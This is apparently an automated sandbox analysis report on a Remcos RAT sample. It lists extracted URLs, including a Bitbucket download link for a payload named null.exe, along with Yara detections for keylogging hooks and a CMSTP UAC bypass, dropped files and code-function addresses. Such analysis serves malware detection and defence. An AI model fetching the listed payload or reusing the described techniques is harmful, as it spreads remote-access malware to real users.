              Source: csc.exe, 00000003.00000003.1794277108.0000000008E90000.00000004.00000800.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000002.2057015971.000000000F63E000.00000004.00001000.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000000.1792904857.000000000051C000.00000020.00000001.01000000.00000008.sdmp, HardDiskSentinelBin.exe.4.drString found in binary or memory: http://www.hdsentinel.com/sendreport.phpU
              Source: csc.exe, 00000003.00000003.1794277108.0000000008E90000.00000004.00000800.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000002.2057015971.000000000F63E000.00000004.00001000.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000000.1792904857.000000000051C000.00000020.00000001.01000000.00000008.sdmp, HardDiskSentinelBin.exe.4.drString found in binary or memory: http://www.hdsentinel.comU
              Source: HardDiskSentinelBin.exe.4.drString found in binary or memory: http://www.indyproject.org/
              Source: csc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aui-cdn.atlassian.com/
              Source: csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
              Source: csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
              Source: csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
              Source: csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
              Source: csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
              Source: csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;
              Source: csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
              Source: csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bbuseruploads.s3.amazonaws
              Source: csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007769000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bbuseruploads.s3.amazonaws.com
              Source: csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007769000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bbuseruploads.s3.amazonaws.com/986cb0ac-5fcf-4393-afaa-e2b223260ae9/downloads/47e1d263-9601-
              Source: csc.exe, 00000003.00000002.3256041816.0000000007997000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000076B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bitbucket.org
              Source: csc.exe, 00000003.00000002.3256041816.0000000007918000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000076B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bitbucket.org/facturacioncol/fact/downloads/null.exe
              Source: csc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn.cookielaw.org/
              Source: csc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
              Source: csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-net
              Source: csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-netJ
              Source: csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-neti
              Source: csc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
              Source: csc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
              Source: csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/11564914/23354;
              Source: csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000076B1000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/14436606/23354
              Source: csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/2152978/23354
              Source: csc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
              Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
              Source: unknownHTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49764 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 54.231.193.17:443 -> 192.168.2.7:49770 version: TLS 1.2

              Key, Mouse, Clipboard, Microphone and Screen Capturing

              barindex
              Installs a global keyboard hook
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeWindows user hook set: 0 keyboard low level C:\Users\user\AppData\Local\Temp\dzocgvabs.exeJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00411810 GetAsyncKeyState,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetWindowTextA,SetWindowTextA,CallWindowProcA,0_2_00411810
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: dzocgvabs.exe PID: 7884, type: MEMORYSTR

              E-Banking Fraud

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: dzocgvabs.exe PID: 7884, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: dzocgvabs.exe PID: 8076, type: MEMORYSTR

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: Process Memory Space: dzocgvabs.exe PID: 7884, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              .NET source code contains very large array initializations
              Source: 0.2.pPLwX9wSrD.exe.cd0000.1.raw.unpack, MapAnalyzer.csLarge array initialization: LinkSetMap: array initializer size 543568
              Drops large PE files
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeFile dump: OrionLegacyCLI.exe.0.dr 979567344Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeFile dump: HardDiskSentinelBin.exe.4.dr 979567142Jump to dropped file
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_0046DEE0 OpenServiceA,DeleteService,CloseServiceHandle,0_2_0046DEE0
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_004572FB0_2_004572FB
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_004582830_2_00458283
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_004553AB0_2_004553AB
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_004564DE0_2_004564DE
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_004566F30_2_004566F3
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_004559AF0_2_004559AF
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00455A630_2_00455A63
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00457AD40_2_00457AD4
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00457A9C0_2_00457A9C
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00457B5D0_2_00457B5D
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00460B100_2_00460B10
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00458B210_2_00458B21
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00455BF90_2_00455BF9
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00455BA20_2_00455BA2
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00455C7A0_2_00455C7A
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00462C200_2_00462C20
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00455D260_2_00455D26
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00458E120_2_00458E12
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00457E2D0_2_00457E2D
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00455EAD0_2_00455EAD
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00455FC00_2_00455FC0
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00456FC90_2_00456FC9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_057771583_2_05777158
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_057771483_2_05777148
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_057748673_2_05774867
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_057748683_2_05774868
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_05771BC03_2_05771BC0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0745073F3_2_0745073F
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07453B883_2_07453B88
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_074517E83_2_074517E8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07450A773_2_07450A77
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0746258B3_2_0746258B
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07468AE83_2_07468AE8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_074685213_2_07468521
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07468D3A3_2_07468D3A
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07468AD93_2_07468AD9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_074681273_2_07468127
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_074681283_2_07468128
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_074727583_2_07472758
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_074776203_2_07477620
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0747F3803_2_0747F380
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07474D203_2_07474D20
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07476DD83_2_07476DD8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07470DD83_2_07470DD8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0747CBBB3_2_0747CBBB
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0747AA003_2_0747AA00
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_074759383_2_07475938
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_074727483_2_07472748
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_074776113_2_07477611
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0747A4B03_2_0747A4B0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0747F3703_2_0747F370
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_074750683_2_07475068
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07476DC83_2_07476DC8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0747AA003_2_0747AA00
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0747A9F13_2_0747A9F1
              Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\dzocgvabs.exe CA84EC6D70351B003D3CACB9F81BE030CC9DE7AC267CCE718173D4F42CBA2966
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: String function: 00466CB0 appears 345 times
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: String function: 0045E040 appears 44 times
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: String function: 0047F3E0 appears 49 times
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: String function: 0048472C appears 31 times
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: String function: 0047F326 appears 49 times
              Source: pPLwX9wSrD.exeBinary or memory string: OriginalFilename vs pPLwX9wSrD.exe
              Source: pPLwX9wSrD.exe, 00000000.00000002.1634275689.0000000000E16000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameYtzlkwamt.exe" vs pPLwX9wSrD.exe
              Source: pPLwX9wSrD.exe, 00000000.00000002.1634652361.00000000029E6000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameDBServer.EXEB vs pPLwX9wSrD.exe
              Source: pPLwX9wSrD.exeBinary or memory string: OriginalFilenameDBServer.EXEB vs pPLwX9wSrD.exe
              Source: pPLwX9wSrD.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
              Source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
